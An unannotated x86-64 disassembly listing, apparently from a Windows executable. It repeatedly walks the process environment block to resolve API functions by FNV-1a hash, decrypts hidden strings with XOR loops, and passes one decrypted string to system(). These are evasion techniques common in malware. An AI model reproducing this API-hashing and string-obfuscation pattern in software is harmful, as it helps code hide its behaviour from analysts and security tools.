mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006aec7
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006aec7
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006aec2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006aea0
cmp edx, 0xa52bcaf9
je 0x14006b49e
test r8d, r8d
jne 0x14006ae80
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006aedd
cmp qword [rax + 0x30], 0
jne 0x14006ae50
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006af77
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006af77
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006af72
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006af50
cmp edx, 0xcded1a85
je 0x14006b4ba
test r8d, r8d
jne 0x14006af30
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006af8d
cmp qword [rax + 0x30], 0
jne 0x14006af00
mov rdx, rbx
mov ecx, 0xc4653601
call rdx
mov rdi, qword [rbp + 0x18]
mov r14d, Ordinal_35
xor rdi, r13
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rsi, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rsi
mov rax, rdi
xor rax, r13
mov qword [rbp - 0x48], rax
mov qword [rsi], rbx
lea rcx, [0x1401865a0]
call fcn.14007b990
nop
mov qword [rsi], rdi
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x28], 0
movsd xmm0, qword [0x1401274c0]
movsd qword [rsp + 0x40], xmm0
mov eax, dword [0x1401274c8]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x1401274cc]
mov byte [rsp + 0x4c], al
mov r8d, ebx
mov esi, 5
cmp r15d, 2
jl 0x14006b132
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movd xmm5, r14d
movdqa xmm2, xmmword [0x140127ea0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140127ed0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
mov eax, dword [str.9999999999999999]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401274c0]
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x140127ec0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140127ed0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
xorps xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14006b140
lea rcx, [rsp + 0x40]
call fcn.1400035c0
lea rdx, [rbp - 0x28]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400707f0
cmp qword [rbp - 0x18], 0
jne 0x14006b58d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006b237
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006b237
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006b232
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006b210
cmp edx, 0xe80fd3a
je 0x14006b4d6
test r8d, r8d
jne 0x14006b1f0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006b24d
cmp qword [rax + 0x30], 0
jne 0x14006b1c0
mov rdx, rbx
mov ecx, 0xffffffff
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006b2e7
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006b2e7
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006b2e2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006b2c0
cmp edx, 0x1f407a44
je 0x14006b4f2
test r8d, r8d
jne 0x14006b2a0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006b2fd
cmp qword [rax + 0x30], 0
jne 0x14006b270
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006b397
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006b397
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006b392
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006b370
cmp edx, 0xa52bcaf9
je 0x14006b50e
test r8d, r8d
jne 0x14006b350
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006b3ad
cmp qword [rax + 0x30], 0
jne 0x14006b320
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006b447
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006b447
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006b442
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006b420
cmp edx, 0xcded1a85
je 0x14006b52a
test r8d, r8d
jne 0x14006b400
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006b541
cmp qword [rax + 0x30], 0
je 0x14006b541
jmp 0x14006b3d0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006ad80
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006ae30
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006aee0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006af90
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006b250
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006b300
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006b3b0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
mov ecx, 0xc4653601
call rbx
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14006a723
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006b583
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006c799
call fcn.1400d6014
jmp 0x14006a723
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rcx, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rcx
mov rdi, qword [rcx]
mov rax, rdi
xor rax, r13
mov qword [rbp - 0x48], rax
mov qword [rcx], rbx
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x40]
call fcn.14006eb40
mov rdx, rax
lea rcx, [0x1401865a0]
call fcn.1400812d0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rcx, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rcx
mov rax, rdi
xor rax, r13
mov qword [rbp - 0x48], rax
mov qword [rcx], rbx
cmp byte [0x1401867b0], 0
jne 0x14006bb43
movups xmm0, xmmword [0x140126d70]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [0x140126d80]
movups xmmword [rbp + 0x28], xmm1
movups xmm0, xmmword [0x140126d90]
movups xmmword [rbp + 0x38], xmm0
cmp r15d, 2
jl 0x14006b775
movdqa xmm5, xmmword [0x140127ea0]
mov edx, ebx
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x14006b670
jmp 0x14006b7b5
lea r9, [rbp + 0x18]
mov r8d, ebx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x30
jl 0x14006b780
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rbx
mov qword [rbp + 0x60], rbx
lea rax, [rbp + 0x18]
nop dword [rax + rax]
inc r12
cmp byte [rax + r12], 0
jne 0x14006b7d0
mov r8, r12
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x48]
call fcn.1400714e0
lea rdx, [rbp + 0x48]
lea rcx, [0x1401865a0]
call fcn.140082560
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006b897
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006b897
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006b892
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006b870
cmp edx, 0xe80fd3a
je 0x14006baba
test r8d, r8d
jne 0x14006b850
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006b8ad
cmp qword [rax + 0x30], 0
jne 0x14006b820
mov rdx, rbx
mov ecx, 0xffffffff
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006b947
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006b947
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006b942
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006b920
cmp edx, 0x1f407a44
je 0x14006bad6
test r8d, r8d
jne 0x14006b900
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006b95d
cmp qword [rax + 0x30], 0
jne 0x14006b8d0
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006b9f7
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006b9f7
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006b9f2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006b9d0
cmp edx, 0xa52bcaf9
je 0x14006baf2
test r8d, r8d
jne 0x14006b9b0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006ba0d
cmp qword [rax + 0x30], 0
jne 0x14006b980
mov rdx, rbx
call rdx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop dword [rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006baa3
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006baa3
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006ba9e
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006ba80
cmp edx, 0xcded1a85
je 0x14006bb0e
test r8d, r8d
jne 0x14006ba60
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006bb25
cmp qword [rax + 0x30], 0
je 0x14006bb25
jmp 0x14006ba30
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006b8b0
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006b960
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
jmp 0x14006ba10
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov ebx, dword [rcx + rax*4]
add rbx, r9
mov ecx, 0xc4653601
call rbx
nop
mov rax, qword [rbp - 0x48]
xor rax, r13
lea rcx, [rbp + 0x158]
mov qword [rcx], rax
jmp 0x14006b549
mov qword [rcx], rdi
cmp byte [0x14018b2b0], 0
je 0x14006be2b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rsi, r14
nop word [rax + rax]
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov edi, dword [rax + r9 + 0x88]
add rdi, r9
cmp rdi, r9
je 0x14006bbe7
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14006bbe7
mov r11d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006bbe2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x14006bbc0
cmp edx, 0x23a979e4
je 0x14006bda5
test r8d, r8d
jne 0x14006bba0
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r14
je 0x14006bbfd
cmp qword [rax + 0x30], 0
jne 0x14006bb70
mov r10, rbx
mov eax, dword [str.pT_S]
mov dword [rsp + 0x30], eax
movzx eax, byte [0x140126488]
mov byte [rsp + 0x30], 0x49
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor al, 0x3d
mov byte [rsp + 0x34], al
movups xmm0, xmmword [str.m_HH]
movups xmmword [rbp + 0x18], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14006be05
cmp r15d, 2
jl 0x14006bdc2
movdqa xmm5, xmmword [0x140127ea0]
mov edx, ebx
movdqa xmm4, xmmword [0x140128040]
mov esi, 5
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
mov edi, Ordinal_35
movd xmm8, edi
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14006bca0
jmp 0x14006be0d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
jmp 0x14006bc00
lea r9, [rbp + 0x18]
mov r8d, ebx
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14006bdd0
mov esi, 5
lea edi, [rsi + 0x1a]
mov r9d, 0x1044
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x18]
mov rcx, qword [0x14018cf18]
call r10
jmp 0x14006c035
call fcn.140050010
test al, al
jne 0x14006c02d
movups xmm0, xmmword [0x140127308]
movups xmmword [rbp + 0x18], xmm0
movsd xmm0, qword [0x140127318]
movsd qword [rbp + 0x28], xmm0
cmp byte [0x14012731f], al
je 0x14006bfe0
cmp r15d, 2
jl 0x14006bfa3
movdqa xmm5, xmmword [0x140127ea0]
movdqa xmm4, xmmword [0x140128040]
movd xmm6, esi
movdqa xmm7, xmmword [0x140127ed0]
movd xmm8, r14d
movdqa xmm0, xmmword [str.9999999999999999]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x1c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140127f10]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x14006bea0
jmp 0x14006bfe0
lea r8, [rbp + 0x18]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, bl
xor byte [r8], cl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x18
jl 0x14006bfb0
lea rcx, [rbp + 0x18]
call fcn.1400035c0
mov eax, dword [str.I_NOX_]
mov dword [rsp + 0x30], eax
movzx eax, word [0x1401268b8]
mov word [rsp + 0x34], ax
mov byte [rsp + 0x30], reloc.WS2_32.dll_WSASetLastError
xor byte [rsp + 0x31], 0x3a
xor byte [rsp + 0x32], 0x3b
xor byte [rsp + 0x33], 0x3c
xor byte [rsp + 0x34], 0x3d
xor byte [rsp + 0x35], 0x3e
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14006b549
mov edi, Ordinal_35
lea esi, [rdi - 0x1a]
call fcn.140048dc0
call fcn.14004d4d0
test al, al
jne 0x14006c23f
movups xmm0, xmmword [0x140126b40]
movups xmmword [rbp + 0x18], xmm0
movzx eax, word [0x140126b50]
mov word [rbp + 0x28], ax
movzx eax, byte [0x140126b52]
mov byte [rbp + 0x2a], al
cmp r15d, 2
